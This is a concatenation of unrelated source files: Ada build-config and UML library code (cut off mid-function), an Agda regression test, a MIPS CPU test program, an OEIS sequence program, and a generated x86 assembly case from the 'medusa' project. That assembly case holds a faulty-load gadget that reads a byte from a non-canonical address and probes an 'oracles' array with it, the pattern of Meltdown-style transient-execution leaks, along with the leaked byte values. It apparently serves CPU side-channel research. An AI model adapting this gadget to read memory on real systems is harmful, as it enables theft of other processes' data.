in a specific component passed to gprconfig's -- --config switch then automatically generating a configuration file. function Runtime_Name_For (Language : Name_Id) return String; -- Returns the runtime name for a language. Returns an empty string if no -- runtime was specified for the language using option --RTS. end Prj.Conf;
Transynther/x86/_processed/AVXALIGN/_st_zr_un_sm_/i7-8650U_0xd2.log_95_83.asm
ljhsiun2/medusa
9
170261
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %r14 push %r15 push %rbx push %rdi push %rsi lea addresses_normal_ht+0xd159, %r13 nop nop nop and $38108, %rbx movw $0x6162, (%r13) nop nop nop add $809, %r14 lea addresses_WC_ht+0xa756, %rsi nop nop cmp %r15, %r15 vmovups (%rsi), %ymm2 vextracti128 $1, %ymm2, %xmm2 vpextrq $1, %xmm2, %r12 nop cmp %rsi, %rsi lea addresses_D_ht+0x9156, %rsi nop sub $52572, %r14 movb (%rsi), %r13b nop sub $49059, %rdi pop %rsi pop %rdi pop %rbx pop %r15 pop %r14 pop %r13 pop %r12 ret .global s_faulty_load s_faulty_load: push %r12 push %r15 push %rax push %rbp push %rdi push %rdx push %rsi // Store mov $0x4800ae0000000356, %rax nop sub $33094, %rsi mov $0x5152535455565758, %rdx movq %rdx, %xmm1 movups %xmm1, (%rax) nop nop nop xor %rsi, %rsi // Store mov $0x356, %rdx nop nop and %r15, %r15 mov $0x5152535455565758, %rbp movq %rbp, %xmm4 movups %xmm4, (%rdx) nop nop nop nop sub %rdi, %rdi // Faulty Load mov $0x4800ae0000000356, %rdi nop nop and %rbp, %rbp movb (%rdi), %r15b lea oracles, %rdi and $0xff, %r15 shlq $12, %r15 mov (%rdi,%r15,1), %r15 pop %rsi pop %rdx pop %rdi pop %rbp pop %rax pop %r15 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_P', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 1, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False, 'NT': True, 'congruent': 7, 'same': False}} {'00': 86, '58': 7, 'e0': 2} 00 00 00 00 00 00 00 00 00 00 58 00 00 00 00 00 58 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 00 00 00 58 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 58 00 00 00 58 00 00 00 00 */
test/Succeed/Issue1070.agda
cruhland/agda
1,989
7379
-- Andreas, 2014-03-02, issue and test case by Nisse -- {-# OPTIONS --show-implicit -v tc.meta.assign:25 -v tc.meta.occurs:70 -v tc.meta.kill:30 #-} -- {-# OPTIONS -v tc:10 #-} record Σ (A : Set) (B : A → Set) : Set where constructor _,_ field proj₁ : A proj₂ : B proj₁ open Σ public postulate A : Set D : A → Set data P : ∀ {xP} → D xP → Set where c : ∀ {xc} (dc : D xc) → P dc module M (f : ∀ {x} → D x → Σ A D) (_ : ∀ {xM} (dM : D xM) → P (proj₂ (f dM))) where postulate p : ∀ {x} → D x → A q : ∀ {x} {d : D x} → D (p d) p : ∀ {x} → D x → A p = M.p (λ x → _ , x) c q : ∀ {xq} {dq : D xq} → D (p dq) q = M.q _ c -- WAS: Unsound pruning of metas under projections -- -- Cannot instantiate the metavariable _49 to solution d since it -- contains the variable d which is not in scope of the metavariable -- or irrelevant in the metavariable but relevant in the solution -- when checking that the expression c has type ((d : D .x₁) → P _49) -- NOW: type-checks fine
Verilog/P5 - 副本 (2)/test/test_P4+.asm
JJLeo/BUAA-CO-2020
9
6489
<gh_stars>1-10 subu $28 $28 $28 subu $29 $29 $29 ori $0, $0, 0 ori $1, $1, 1 ori $2, $2, 2 ori $3, $3, 3 ori $4, $4, 4 ori $5, $5, 5 ori $6, $6, 6 ori $7, $7, 7 ori $8, $8, 8 ori $9, $9, 9 ori $10, $10, 10 ori $11, $11, 11 ori $12, $12, 12 ori $13, $13, 13 ori $14, $14, 14 ori $15, $15, 15 ori $16, $16, 16 ori $17, $17, 17 ori $18, $18, 18 ori $19, $19, 19 ori $20, $20, 20 ori $21, $21, 21 ori $22, $22, 22 ori $23, $23, 23 ori $24, $24, 24 ori $25, $25, 25 ori $26, $26, 26 ori $27, $27, 27 ori $28, $28, 28 ori $29, $29, 29 ori $30, $30, 30 ori $31, $31, 31 ori $1, $1, 1 sw $1, 4($0) sw $1, 8($0) sw $1, 12($0) sw $1, 16($0) sw $1, 20($0) sw $1, 24($0) sw $1, 28($0) sw $1, 32($0) sw $1, 36($0) sw $1, 40($0) sw $1, 44($0) sw $1, 48($0) sw $1, 52($0) sw $1, 56($0) sw $1, 60($0) sw $1, 64($0) sw $1, 68($0) sw $1, 72($0) sw $1, 76($0) sw $1, 80($0) sw $1, 84($0) sw $1, 88($0) sw $1, 92($0) sw $1, 96($0) sw $1, 100($0) sw $1, 104($0) sw $1, 108($0) sw $1, 112($0) sw $1, 116($0) sw $1, 120($0) sw $1, 124($0) ori $1, $1, 1 sw $1, 0($0) lw $2, 0($0) lw $3, 0($0) lw $4, 0($0) lw $5, 0($0) lw $6, 0($0) lw $7, 0($0) lw $8, 0($0) lw $9, 0($0) lw $10, 0($0) lw $11, 0($0) lw $12, 0($0) lw $13, 0($0) lw $14, 0($0) lw $15, 0($0) lw $16, 0($0) lw $17, 0($0) lw $18, 0($0) lw $19, 0($0) lw $20, 0($0) lw $21, 0($0) lw $22, 0($0) lw $23, 0($0) lw $24, 0($0) lw $25, 0($0) lw $26, 0($0) lw $27, 0($0) lw $28, 0($0) lw $29, 0($0) lw $30, 0($0) lw $31, 0($0) ori $1 $1 907 sw $0 0($0) lw $1 0($0) sw $1 4($0) lw $2 4($0) sw $2 8($0) lw $3 8($0) sw $3 12($0) lw $4 12($0) sw $4 16($0) lw $5 16($0) sw $5 20($0) lw $6 20($0) sw $6 24($0) lw $7 24($0) sw $7 28($0) lw $8 28($0) sw $8 32($0) lw $9 32($0) sw $9 36($0) lw $10 36($0) sw $10 40($0) lw $11 40($0) sw $11 44($0) lw $12 44($0) sw $12 48($0) lw $13 48($0) sw $13 52($0) lw $14 52($0) sw $14 56($0) lw $15 56($0) sw $15 60($0) lw $16 60($0) sw $16 64($0) lw $17 64($0) sw $17 68($0) lw $18 68($0) sw $18 72($0) lw $19 72($0) sw $19 76($0) lw $20 76($0) sw $20 80($0) lw $21 80($0) sw $21 84($0) lw $22 84($0) sw $22 88($0) lw $23 88($0) sw $23 92($0) lw $24 92($0) sw $24 96($0) lw $25 96($0) sw $25 100($0) lw $26 100($0) sw $26 104($0) lw $27 104($0) sw $27 108($0) lw $28 108($0) sw $28 112($0) lw $29 112($0) sw $29 116($0) lw $30 116($0) sw $30 120($0) lw $31 120($0) sw $31 124($0) lui $1 234 lui $2 234 lui $3 234 lui $4 234 lui $5 234 lui $6 234 lui $7 234 lui $8 234 lui $9 234 lui $10 234 lui $11 234 lui $12 234 lui $13 234 lui $14 234 lui $15 234 jal con nop lui $1 222 subu $16 $16 $1 subu $17 $17 $1 subu $18 $18 $1 subu $19 $19 $1 subu $20 $20 $1 subu $21 $21 $1 subu $22 $22 $1 subu $23 $23 $1 subu $24 $24 $1 subu $25 $25 $1 subu $26 $26 $1 subu $27 $27 $1 subu $28 $28 $1 subu $29 $29 $1 subu $30 $30 $1 jal end nop con: addu $16 $16 $1 addu $17 $17 $2 addu $18 $18 $3 addu $19 $19 $4 addu $20 $20 $5 addu $21 $21 $6 addu $22 $22 $7 addu $23 $23 $8 addu $24 $24 $9 addu $25 $25 $10 addu $26 $26 $11 addu $27 $27 $12 addu $28 $28 $13 addu $29 $29 $14 addu $30 $30 $15 jr $31 nop end: ori $1 $0 1 ori $2 $0 2 beq $1 $2 beq1 nop addu $1 $1 $1 beq1: ori $12 $0 1 ori $13 $0 1 beq $12 $13 beq2 nop addu $2 $2 $2 beq2: jal con2 nop jal end2 nop addu $6 $6 $6 jal end2 nop con2: addu $15 $0 $31 ori $5 $0 4 addu $31 $31 $5 jr $15 nop addu $1 $1 $1 end2:
programs/oeis/190/A190970.asm
jmorken/loda
1
28241
; A190970: a(n) = 5*a(n-1) - 9*a(n-2), with a(0)=0, a(1)=1. ; 0,1,5,16,35,31,-160,-1079,-3955,-10064,-14725,16951,217280,933841,2713685,5163856,1396115,-39494129,-210035680,-694731239,-1583335075,-1664094224,5929544555,44624570791,169756952960,447163627681,708005561765,-484444840304 mov $3,1 lpb $0 sub $0,1 sub $3,$1 mul $1,3 add $1,$3 mov $2,$3 mul $2,2 add $3,$2 lpe
source/amf/uml/amf-internals-uml_operations.adb
svn2github/matreshka
24
20497
------------------------------------------------------------------------------ -- -- -- Matreshka Project -- -- -- -- Ada Modeling Framework -- -- -- -- Runtime Library Component -- -- -- ------------------------------------------------------------------------------ -- -- -- Copyright © 2011-2012, <NAME> <<EMAIL>> -- -- All rights reserved. -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions -- -- are met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in the -- -- documentation and/or other materials provided with the distribution. -- -- -- -- * Neither the name of the Vadim Godunko, IE nor the names of its -- -- contributors may be used to endorse or promote products derived from -- -- this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -- -- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR -- -- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -- -- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING -- -- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -- -- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- $Revision$ $Date$ ------------------------------------------------------------------------------ with AMF.Elements; with AMF.Internals.Element_Collections; with AMF.Internals.Helpers; with AMF.Internals.Tables.UML_Attributes; with AMF.Visitors.UML_Iterators; with AMF.Visitors.UML_Visitors; with League.Strings.Internals; with Matreshka.Internals.Strings; package body AMF.Internals.UML_Operations is ------------------- -- Enter_Element -- ------------------- overriding procedure Enter_Element (Self : not null access constant UML_Operation_Proxy; Visitor : in out AMF.Visitors.Abstract_Visitor'Class; Control : in out AMF.Visitors.Traverse_Control) is begin if Visitor in AMF.Visitors.UML_Visitors.UML_Visitor'Class then AMF.Visitors.UML_Visitors.UML_Visitor'Class (Visitor).Enter_Operation (AMF.UML.Operations.UML_Operation_Access (Self), Control); end if; end Enter_Element; ------------------- -- Leave_Element -- ------------------- overriding procedure Leave_Element (Self : not null access constant UML_Operation_Proxy; Visitor : in out AMF.Visitors.Abstract_Visitor'Class; Control : in out AMF.Visitors.Traverse_Control) is begin if Visitor in AMF.Visitors.UML_Visitors.UML_Visitor'Class then AMF.Visitors.UML_Visitors.UML_Visitor'Class (Visitor).Leave_Operation (AMF.UML.Operations.UML_Operation_Access (Self), Control); end if; end Leave_Element; ------------------- -- Return_Result -- ------------------- overriding function Return_Result (Self : not null access constant UML_Operation_Proxy) return AMF.UML.Parameters.Collections.Set_Of_UML_Parameter is use type AMF.UML.UML_Parameter_Direction_Kind; Parameters : constant AMF.UML.Parameters.Collections.Ordered_Set_Of_UML_Parameter := Self.Get_Owned_Parameter; The_Parameter : AMF.UML.Parameters.UML_Parameter_Access; begin return Result : AMF.UML.Parameters.Collections.Set_Of_UML_Parameter do for J in 1 .. Parameters.Length loop The_Parameter := Parameters.Element (J); if The_Parameter.Get_Direction = AMF.UML.Return_Parameter then Result.Add (The_Parameter); end if; end loop; end return; end Return_Result; ------------------- -- Visit_Element -- ------------------- overriding procedure Visit_Element (Self : not null access constant UML_Operation_Proxy; Iterator : in out AMF.Visitors.Abstract_Iterator'Class; Visitor : in out AMF.Visitors.Abstract_Visitor'Class; Control : in out AMF.Visitors.Traverse_Control) is begin if Iterator in AMF.Visitors.UML_Iterators.UML_Iterator'Class then AMF.Visitors.UML_Iterators.UML_Iterator'Class (Iterator).Visit_Operation (Visitor, AMF.UML.Operations.UML_Operation_Access (Self), Control); end if; end Visit_Element; ------------------------ -- Get_Body_Condition -- ------------------------ overriding function Get_Body_Condition (Self : not null access constant UML_Operation_Proxy) return AMF.UML.Constraints.UML_Constraint_Access is begin return AMF.UML.Constraints.UML_Constraint_Access (AMF.Internals.Helpers.To_Element (AMF.Internals.Tables.UML_Attributes.Internal_Get_Body_Condition (Self.Element))); end Get_Body_Condition; ------------------------ -- Set_Body_Condition -- ------------------------ overriding procedure Set_Body_Condition (Self : not null access UML_Operation_Proxy; To : AMF.UML.Constraints.UML_Constraint_Access) is begin AMF.Internals.Tables.UML_Attributes.Internal_Set_Body_Condition (Self.Element, AMF.Internals.Helpers.To_Element (AMF.Elements.Element_Access (To))); end Set_Body_Condition; --------------- -- Get_Class -- --------------- overriding function Get_Class (Self : not null access constant UML_Operation_Proxy) return AMF.UML.Classes.UML_Class_Access is begin return AMF.UML.Classes.UML_Class_Access (AMF.Internals.Helpers.To_Element (AMF.Internals.Tables.UML_Attributes.Internal_Get_Class (Self.Element))); end Get_Class; --------------- -- Set_Class -- --------------- overriding procedure Set_Class (Self : not null access UML_Operation_Proxy; To : AMF.UML.Classes.UML_Class_Access) is begin AMF.Internals.Tables.UML_Attributes.Internal_Set_Class (Self.Element, AMF.Internals.Helpers.To_Element (AMF.Elements.Element_Access (To))); end Set_Class; ------------------ -- Get_Datatype -- ------------------ overriding function Get_Datatype (Self : not null access constant UML_Operation_Proxy) return AMF.UML.Data_Types.UML_Data_Type_Access is begin return AMF.UML.Data_Types.UML_Data_Type_Access (AMF.Internals.Helpers.To_Element (AMF.Internals.Tables.UML_Attributes.Internal_Get_Datatype (Self.Element))); end Get_Datatype; ------------------ -- Set_Datatype -- ------------------ overriding procedure Set_Datatype (Self : not null access UML_Operation_Proxy; To : AMF.UML.Data_Types.UML_Data_Type_Access) is begin AMF.Internals.Tables.UML_Attributes.Internal_Set_Datatype (Self.Element, AMF.Internals.Helpers.To_Element (AMF.Elements.Element_Access (To))); end Set_Datatype; ------------------- -- Get_Interface -- ------------------- overriding function Get_Interface (Self : not null access constant UML_Operation_Proxy) return AMF.UML.Interfaces.UML_Interface_Access is begin return AMF.UML.Interfaces.UML_Interface_Access (AMF.Internals.Helpers.To_Element (AMF.Internals.Tables.UML_Attributes.Internal_Get_Interface (Self.Element))); end Get_Interface; ------------------- -- Set_Interface -- ------------------- overriding procedure Set_Interface (Self : not null access UML_Operation_Proxy; To : AMF.UML.Interfaces.UML_Interface_Access) is begin AMF.Internals.Tables.UML_Attributes.Internal_Set_Interface (Self.Element, AMF.Internals.Helpers.To_Element (AMF.Elements.Element_Access (To))); end Set_Interface; -------------------- -- Get_Is_Ordered -- -------------------- overriding function Get_Is_Ordered (Self : not null access constant UML_Operation_Proxy) return Boolean is begin return AMF.Internals.Tables.UML_Attributes.Internal_Get_Is_Ordered (Self.Element); end Get_Is_Ordered; ------------------ -- Get_Is_Query -- ------------------ overriding function Get_Is_Query (Self : not null access constant UML_Operation_Proxy) return Boolean is begin return AMF.Internals.Tables.UML_Attributes.Internal_Get_Is_Query (Self.Element); end Get_Is_Query; ------------------ -- Set_Is_Query -- ------------------ overriding procedure Set_Is_Query (Self : not null access UML_Operation_Proxy; To : Boolean) is begin AMF.Internals.Tables.UML_Attributes.Internal_Set_Is_Query (Self.Element, To); end Set_Is_Query; ------------------- -- Get_Is_Unique -- ------------------- overriding function Get_Is_Unique (Self : not null access constant UML_Operation_Proxy) return Boolean is begin return AMF.Internals.Tables.UML_Attributes.Internal_Get_Is_Unique (Self.Element); end Get_Is_Unique; --------------- -- Get_Lower -- --------------- overriding function Get_Lower (Self : not null access constant UML_Operation_Proxy) return AMF.Optional_Integer is begin return AMF.Internals.Tables.UML_Attributes.Internal_Get_Lower (Self.Element); end Get_Lower; ------------------------- -- Get_Owned_Parameter -- ------------------------- overriding function Get_Owned_Parameter (Self : not null access constant UML_Operation_Proxy) return AMF.UML.Parameters.Collections.Ordered_Set_Of_UML_Parameter is begin return AMF.UML.Parameters.Collections.Wrap (AMF.Internals.Element_Collections.Wrap (AMF.Internals.Tables.UML_Attributes.Internal_Get_Owned_Parameter (Self.Element))); end Get_Owned_Parameter; ----------------------- -- Get_Postcondition -- ----------------------- overriding function Get_Postcondition (Self : not null access constant UML_Operation_Proxy) return AMF.UML.Constraints.Collections.Set_Of_UML_Constraint is begin return AMF.UML.Constraints.Collections.Wrap (AMF.Internals.Element_Collections.Wrap (AMF.Internals.Tables.UML_Attributes.Internal_Get_Postcondition (Self.Element))); end Get_Postcondition; ---------------------- -- Get_Precondition -- ---------------------- overriding function Get_Precondition (Self : not null access constant UML_Operation_Proxy) return AMF.UML.Constraints.Collections.Set_Of_UML_Constraint is begin return AMF.UML.Constraints.Collections.Wrap (AMF.Internals.Element_Collections.Wrap (AMF.Internals.Tables.UML_Attributes.Internal_Get_Precondition (Self.Element))); end Get_Precondition; -------------------------- -- Get_Raised_Exception -- -------------------------- overriding function Get_Raised_Exception (Self : not null access constant UML_Operation_Proxy) return AMF.UML.Types.Collections.Set_Of_UML_Type is begin return AMF.UML.Types.Collections.Wrap (AMF.Internals.Element_Collections.Wrap (AMF.Internals.Tables.UML_Attributes.Internal_Get_Raised_Exception (Self.Element))); end Get_Raised_Exception; ----------------------------- -- Get_Redefined_Operation -- ----------------------------- overriding function Get_Redefined_Operation (Self : not null access constant UML_Operation_Proxy) return AMF.UML.Operations.Collections.Set_Of_UML_Operation is begin return AMF.UML.Operations.Collections.Wrap (AMF.Internals.Element_Collections.Wrap (AMF.Internals.Tables.UML_Attributes.Internal_Get_Redefined_Operation (Self.Element))); end Get_Redefined_Operation; ---------------------------- -- Get_Template_Parameter -- ---------------------------- overriding function Get_Template_Parameter (Self : not null access constant UML_Operation_Proxy) return AMF.UML.Operation_Template_Parameters.UML_Operation_Template_Parameter_Access is begin return AMF.UML.Operation_Template_Parameters.UML_Operation_Template_Parameter_Access (AMF.Internals.Helpers.To_Element (AMF.Internals.Tables.UML_Attributes.Internal_Get_Template_Parameter (Self.Element))); end Get_Template_Parameter; ---------------------------- -- Set_Template_Parameter -- ---------------------------- overriding procedure Set_Template_Parameter (Self : not null access UML_Operation_Proxy; To : AMF.UML.Operation_Template_Parameters.UML_Operation_Template_Parameter_Access) is begin AMF.Internals.Tables.UML_Attributes.Internal_Set_Template_Parameter (Self.Element, AMF.Internals.Helpers.To_Element (AMF.Elements.Element_Access (To))); end Set_Template_Parameter; -------------- -- Get_Type -- -------------- overriding function Get_Type (Self : not null access constant UML_Operation_Proxy) return AMF.UML.Types.UML_Type_Access is begin return AMF.UML.Types.UML_Type_Access (AMF.Internals.Helpers.To_Element (AMF.Internals.Tables.UML_Attributes.Internal_Get_Type (Self.Element))); end Get_Type; --------------- -- Get_Upper -- --------------- overriding function Get_Upper (Self : not null access constant UML_Operation_Proxy) return AMF.Optional_Unlimited_Natural is begin return AMF.Internals.Tables.UML_Attributes.Internal_Get_Upper (Self.Element); end Get_Upper; --------------------- -- Get_Concurrency -- --------------------- overriding function Get_Concurrency (Self : not null access constant UML_Operation_Proxy) return AMF.UML.UML_Call_Concurrency_Kind is begin return AMF.Internals.Tables.UML_Attributes.Internal_Get_Concurrency (Self.Element); end Get_Concurrency; --------------------- -- Set_Concurrency -- --------------------- overriding procedure Set_Concurrency (Self : not null access UML_Operation_Proxy; To : AMF.UML.UML_Call_Concurrency_Kind) is begin AMF.Internals.Tables.UML_Attributes.Internal_Set_Concurrency (Self.Element, To); end Set_Concurrency; --------------------- -- Get_Is_Abstract -- --------------------- overriding function Get_Is_Abstract (Self : not null access constant UML_Operation_Proxy) return Boolean is begin return AMF.Internals.Tables.UML_Attributes.Internal_Get_Is_Abstract (Self.Element); end Get_Is_Abstract; --------------------- -- Set_Is_Abstract -- --------------------- overriding procedure Set_Is_Abstract (Self : not null access UML_Operation_Proxy; To : Boolean) is begin AMF.Internals.Tables.UML_Attributes.Internal_Set_Is_Abstract (Self.Element, To); end Set_Is_Abstract; ---------------- -- Get_Method -- ---------------- overriding function Get_Method (Self : not null access constant UML_Operation_Proxy) return AMF.UML.Behaviors.Collections.Set_Of_UML_Behavior is begin return AMF.UML.Behaviors.Collections.Wrap (AMF.Internals.Element_Collections.Wrap (AMF.Internals.Tables.UML_Attributes.Internal_Get_Method (Self.Element))); end Get_Method; ----------------------------- -- Get_Owned_Parameter_Set -- ----------------------------- overriding function Get_Owned_Parameter_Set (Self : not null access constant UML_Operation_Proxy) return AMF.UML.Parameter_Sets.Collections.Set_Of_UML_Parameter_Set is begin return AMF.UML.Parameter_Sets.Collections.Wrap (AMF.Internals.Element_Collections.Wrap (AMF.Internals.Tables.UML_Attributes.Internal_Get_Owned_Parameter_Set (Self.Element))); end Get_Owned_Parameter_Set; ------------------------------ -- Get_Featuring_Classifier -- ------------------------------ overriding function Get_Featuring_Classifier (Self : not null access constant UML_Operation_Proxy) return AMF.UML.Classifiers.Collections.Set_Of_UML_Classifier is begin return AMF.UML.Classifiers.Collections.Wrap (AMF.Internals.Element_Collections.Wrap (AMF.Internals.Tables.UML_Attributes.Internal_Get_Featuring_Classifier (Self.Element))); end Get_Featuring_Classifier; ------------------- -- Get_Is_Static -- ------------------- overriding function Get_Is_Static (Self : not null access constant UML_Operation_Proxy) return Boolean is begin return AMF.Internals.Tables.UML_Attributes.Internal_Get_Is_Static (Self.Element); end Get_Is_Static; ------------------- -- Set_Is_Static -- ------------------- overriding procedure Set_Is_Static (Self : not null access UML_Operation_Proxy; To : Boolean) is begin AMF.Internals.Tables.UML_Attributes.Internal_Set_Is_Static (Self.Element, To); end Set_Is_Static; ----------------- -- Get_Is_Leaf -- ----------------- overriding function Get_Is_Leaf (Self : not null access constant UML_Operation_Proxy) return Boolean is begin return AMF.Internals.Tables.UML_Attributes.Internal_Get_Is_Leaf (Self.Element); end Get_Is_Leaf; ----------------- -- Set_Is_Leaf -- ----------------- overriding procedure Set_Is_Leaf (Self : not null access UML_Operation_Proxy; To : Boolean) is begin AMF.Internals.Tables.UML_Attributes.Internal_Set_Is_Leaf (Self.Element, To); end Set_Is_Leaf; --------------------------- -- Get_Redefined_Element -- --------------------------- overriding function Get_Redefined_Element (Self : not null access constant UML_Operation_Proxy) return AMF.UML.Redefinable_Elements.Collections.Set_Of_UML_Redefinable_Element is begin return AMF.UML.Redefinable_Elements.Collections.Wrap (AMF.Internals.Element_Collections.Wrap (AMF.Internals.Tables.UML_Attributes.Internal_Get_Redefined_Element (Self.Element))); end Get_Redefined_Element; ------------------------------ -- Get_Redefinition_Context -- ------------------------------ overriding function Get_Redefinition_Context (Self : not null access constant UML_Operation_Proxy) return AMF.UML.Classifiers.Collections.Set_Of_UML_Classifier is begin return AMF.UML.Classifiers.Collections.Wrap (AMF.Internals.Element_Collections.Wrap (AMF.Internals.Tables.UML_Attributes.Internal_Get_Redefinition_Context (Self.Element))); end Get_Redefinition_Context; --------------------------- -- Get_Client_Dependency -- --------------------------- overriding function Get_Client_Dependency (Self : not null access constant UML_Operation_Proxy) return AMF.UML.Dependencies.Collections.Set_Of_UML_Dependency is begin return AMF.UML.Dependencies.Collections.Wrap (AMF.Internals.Element_Collections.Wrap (AMF.Internals.Tables.UML_Attributes.Internal_Get_Client_Dependency (Self.Element))); end Get_Client_Dependency; ------------------------- -- Get_Name_Expression -- ------------------------- overriding function Get_Name_Expression (Self : not null access constant UML_Operation_Proxy) return AMF.UML.String_Expressions.UML_String_Expression_Access is begin return AMF.UML.String_Expressions.UML_String_Expression_Access (AMF.Internals.Helpers.To_Element (AMF.Internals.Tables.UML_Attributes.Internal_Get_Name_Expression (Self.Element))); end Get_Name_Expression; ------------------------- -- Set_Name_Expression -- ------------------------- overriding procedure Set_Name_Expression (Self : not null access UML_Operation_Proxy; To : AMF.UML.String_Expressions.UML_String_Expression_Access) is begin AMF.Internals.Tables.UML_Attributes.Internal_Set_Name_Expression (Self.Element, AMF.Internals.Helpers.To_Element (AMF.Elements.Element_Access (To))); end Set_Name_Expression; ------------------- -- Get_Namespace -- ------------------- overriding function Get_Namespace (Self : not null access constant UML_Operation_Proxy) return AMF.UML.Namespaces.UML_Namespace_Access is begin return AMF.UML.Namespaces.UML_Namespace_Access (AMF.Internals.Helpers.To_Element (AMF.Internals.Tables.UML_Attributes.Internal_Get_Namespace (Self.Element))); end Get_Namespace; ------------------------ -- Get_Qualified_Name -- ------------------------ overriding function Get_Qualified_Name (Self : not null access constant UML_Operation_Proxy) return AMF.Optional_String is begin declare use type Matreshka.Internals.Strings.Shared_String_Access; Aux : constant Matreshka.Internals.Strings.Shared_String_Access := AMF.Internals.Tables.UML_Attributes.Internal_Get_Qualified_Name (Self.Element); begin if Aux = null then return (Is_Empty => True); else return (False, League.Strings.Internals.Create (Aux)); end if; end; end Get_Qualified_Name; ------------------------ -- Get_Element_Import -- ------------------------ overriding function Get_Element_Import (Self : not null access constant UML_Operation_Proxy) return AMF.UML.Element_Imports.Collections.Set_Of_UML_Element_Import is begin return AMF.UML.Element_Imports.Collections.Wrap (AMF.Internals.Element_Collections.Wrap (AMF.Internals.Tables.UML_Attributes.Internal_Get_Element_Import (Self.Element))); end Get_Element_Import; ------------------------- -- Get_Imported_Member -- ------------------------- overriding function Get_Imported_Member (Self : not null access constant UML_Operation_Proxy) return AMF.UML.Packageable_Elements.Collections.Set_Of_UML_Packageable_Element is begin return AMF.UML.Packageable_Elements.Collections.Wrap (AMF.Internals.Element_Collections.Wrap (AMF.Internals.Tables.UML_Attributes.Internal_Get_Imported_Member (Self.Element))); end Get_Imported_Member; ---------------- -- Get_Member -- ---------------- overriding function Get_Member (Self : not null access constant UML_Operation_Proxy) return AMF.UML.Named_Elements.Collections.Set_Of_UML_Named_Element is begin return AMF.UML.Named_Elements.Collections.Wrap (AMF.Internals.Element_Collections.Wrap (AMF.Internals.Tables.UML_Attributes.Internal_Get_Member (Self.Element))); end Get_Member; ---------------------- -- Get_Owned_Member -- ---------------------- overriding function Get_Owned_Member (Self : not null access constant UML_Operation_Proxy) return AMF.UML.Named_Elements.Collections.Set_Of_UML_Named_Element is begin return AMF.UML.Named_Elements.Collections.Wrap (AMF.Internals.Element_Collections.Wrap (AMF.Internals.Tables.UML_Attributes.Internal_Get_Owned_Member (Self.Element))); end Get_Owned_Member; -------------------- -- Get_Owned_Rule -- -------------------- overriding function Get_Owned_Rule (Self : not null access constant UML_Operation_Proxy) return AMF.UML.Constraints.Collections.Set_Of_UML_Constraint is begin return AMF.UML.Constraints.Collections.Wrap (AMF.Internals.Element_Collections.Wrap (AMF.Internals.Tables.UML_Attributes.Internal_Get_Owned_Rule (Self.Element))); end Get_Owned_Rule; ------------------------ -- Get_Package_Import -- ------------------------ overriding function Get_Package_Import (Self : not null access constant UML_Operation_Proxy) return AMF.UML.Package_Imports.Collections.Set_Of_UML_Package_Import is begin return AMF.UML.Package_Imports.Collections.Wrap (AMF.Internals.Element_Collections.Wrap (AMF.Internals.Tables.UML_Attributes.Internal_Get_Package_Import (Self.Element))); end Get_Package_Import; ---------------------------------- -- Get_Owned_Template_Signature -- ---------------------------------- overriding function Get_Owned_Template_Signature (Self : not null access constant UML_Operation_Proxy) return AMF.UML.Template_Signatures.UML_Template_Signature_Access is begin return AMF.UML.Template_Signatures.UML_Template_Signature_Access (AMF.Internals.Helpers.To_Element (AMF.Internals.Tables.UML_Attributes.Internal_Get_Owned_Template_Signature (Self.Element))); end Get_Owned_Template_Signature; ---------------------------------- -- Set_Owned_Template_Signature -- ---------------------------------- overriding procedure Set_Owned_Template_Signature (Self : not null access UML_Operation_Proxy; To : AMF.UML.Template_Signatures.UML_Template_Signature_Access) is begin AMF.Internals.Tables.UML_Attributes.Internal_Set_Owned_Template_Signature (Self.Element, AMF.Internals.Helpers.To_Element (AMF.Elements.Element_Access (To))); end Set_Owned_Template_Signature; -------------------------- -- Get_Template_Binding -- -------------------------- overriding function Get_Template_Binding (Self : not null access constant UML_Operation_Proxy) return AMF.UML.Template_Bindings.Collections.Set_Of_UML_Template_Binding is begin return AMF.UML.Template_Bindings.Collections.Wrap (AMF.Internals.Element_Collections.Wrap 